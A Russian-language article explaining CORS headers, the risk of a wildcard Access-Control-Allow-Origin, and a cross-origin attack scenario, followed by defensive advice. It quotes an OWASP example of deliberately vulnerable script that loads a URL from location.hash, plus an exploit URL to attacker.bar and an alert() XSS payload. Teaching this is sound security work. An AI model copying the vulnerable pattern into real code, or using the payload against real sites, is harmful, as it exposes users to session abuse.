Cross-origin resource sharing — технология современных браузеров, которая позволяет предоставить веб-странице доступ к ресурсам другого домена. В этой статье я расскажу об этой технологии, призванной обеспечить безопасность, или наоборот, поставить веб-приложение под удар.
Что такое CORS?
CORS — это механизм безопасности, который позволяет веб-странице из одного домена обращаться к ресурсу с другим доменом (кросс-доменным запросом). Без таких функций, как CORS, веб-сайты ограничиваются доступом к ресурсам одного и того же происхождения через так называемую политику единого происхождения.
Первым шагом в понимании CORS является знание того, как работают некоторые функции безопасности веб-браузеров. По умолчанию веб-браузеры не разрешают AJAX-запросы на сайты, кроме сайта, который вы посещаете. Это называется политикой единого происхождения, и это важная часть модели веб-безопасности. Совместное использование ресурсов между разными источниками (cross-origin resource sharing) — это механизм HTML 5, который дополняет политику единого происхождения для упрощения совместного использования ресурсов домена между различными веб-приложениями.
Спецификация CORS определяет набор заголовков, которые позволяют серверу и браузеру определять, какие запросы для междоменных ресурсов (изображения, таблицы стилей, сценарии, данные и т. д.) разрешены, а какие нет. CORS является техникой для ослабления правила одного источника, позволяя JavaScript на web странице обрабатывать REST API запросы от другого источника.
По своей сути, CORS это защитная оболочка для браузера. Совместное использование ресурсов между разными источниками очень важно в современном мире сложных веб-приложений, и все браузеры поддерживают его. В частности, CORS обычно используется для междоменных AJAX запросов.
Обмен запросами
Взаимодействие ресурсов начинается с отправки GET, POST или HEAD запросу к тому или иному ресурсу на сервере. Тип содержимого POST запроса ограничен application/x-www-form-urlencoded, multipart/form-data или plaintext. Запрос включает заголовок Origin, который и указывает на происхождение клиентского кода.
Веб приложение проверяет происхождение запроса и на основании Origin либо принимает запрос, либо отвергает его. Если запрос принят, запрашиваемые сервер ответит заголовком Access-Control-Allow-Origin. Этот заголовок будет указывать клиенту с каким происхождением будет разрешен доступ. Принимая во внимание, что Access-Control-Allow-Origin соответствует Origin запроса, браузер разрешит запрос.
При запросе на site.ru/resource с site.com/some будут следующие заголовки:
GET /resource
Host:site.ru
Origin: http://site.com
Если запрос принят, запрашиваемый сервер добавляет к ответу заголовок Access-Control-Allow-Origin, содержащий домен запроса site.com.
Access-Control-Allow-Origin указывает, какие домены могут обращаться к ресурсам сайта. Например, если компания имеет домены site.ru и site.com, то ее разработчики могут использовать этот заголовок, чтобы предоставить site.com доступ к ресурсам site.ru.
Access-Control-Allow-Methods определяет, какие HTTP-запросы (GET, PUT, DELETE и т. д.) могут быть использованы для доступа к ресурсам. Этот заголовок позволяет повысить безопасность, указав какие методы действительны, когда site.com обращается к ресурсам site.ru.
Access-Control-Max-Age указывает время жизни предзапроса (также он называется "предполетным") доступности того или иного метода, после которого должен быть выполнен новый запрос на тот или иной метод.
Отказ от политики запроса из белого списка
Использование правильных заголовков, методов и доверенных доменов вроде бы не позволяет злоумышленнику вклиниться в эту цепочку обмена. На самом деле это не так. И подводит здесь коварная *.
Наиболее распространенная проблема безопасности при внедрении CORS — это отказ от проверки запроса белых списков. Зачастую разработчики устанавливают значение для Access-Control-Allow-Origin в '*'. Это позволяет любому домену в Интернете получать доступ к ресурсам этого сайта.
Запрос:
GET /resource HTTP/1.1
Host: site.ru
Referer: http://evil.com/request.html
Origin: http://evil.com
Ответ:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Основания проблема кроется в том, что многие компании размещают API в пределах домена, не ограничивания к нему доступ политикой "белого списка". Это порождает уязвимость.
Attack scenario
Большинство веб-приложений использует файлы cookie для отслеживания информации о сеансе. При генерации cookie ограничены определенным доменом. При каждом HTTP запросе к этому домену браузер подставлять значение cookie, созданные для этого домена. Это относится к каждому HTTP запросу — для получения изображений, страниц или AJAX-вызовов.
Что это означает на практике: при авторизации в goodsite.ru, cookie генерируются и хранятся для этого домена. Веб-приложение goodsite.ru основано на технологии SPA и содержит REST API на goodsite.ru/api для взаимодействия с помощью AJAX. Предположим, что вы просматриваете badsite.ru, будучи авторизованным на goodsite.ru. Без ограничения Access-Control-Allow-Origin по белому списку (с указанием сайта) badsite.ru может выполнить любой разрешенный аутентифицированный запрос к goodsite.ru, даже не имея прямого доступа к сессионной cookie!
Это связано с тем, что браузер автоматически привязывает файлы cookie к goodsite.ru для любых HTTP запросов в этом домене, включая AJAX запросы от badsite.ru в goodsite.ru. Таким образом атакующий может взаимодействовать даже с вашим внутренним ресурсом, недоступным в сети интернет и находящимся в корпоративной сети.
Наглядные примеры
В качестве примера приведу код OWASP Testing Guide. Уязвимое веб-приложение, с неверно настроенной политикой Access-Control-Allow-Origin.
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}
var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>
<body>
<div id="div1"></div>
</body>
Например, такой запрос будет показывать содержимое файла profile.php:
http://example.foo/main.php#profile.php
Запрос:
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://example.foo/main.php
Ответ:
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: text/html
[Response Body]
Т.к. отсутствует проверка URL-адреса, атакующий может добавить скрипт, который будет выполняться в контексте домена example.foo со следующим URL:
http://example.foo/main.php#http://attacker.bar/file.php
Запрос:
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://example.foo/main.php
Origin: http://example.foo
Ответ:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: text/html
Пейлоад attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
Результат:
В качестве еще одного примера рекомендую ознакомиться с Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP — публичным раскрытием уязвимости, включая небольшую видео-демонстрацию.
Защитные меры
Используйте белые списки доменов. Если такой возможности нет — размещайте API вне домена — политики CORS для sub.site.ru, site.ru и даже разным портам будут различаться.
Указывайте конкретные методы обращения.
Не используйте wildcard — CORS учитывает или * или домен.
Обязательно указывайте протокол. "Access-Control-Allow-Origin: site.ru" не будет учтён, поскольку протокол отсутствует.
При использовании Access-Control-Allow-Credentials: true всегда используется Access-Control-Allow-Origin: домен — при использовании * браузер не получит ответ.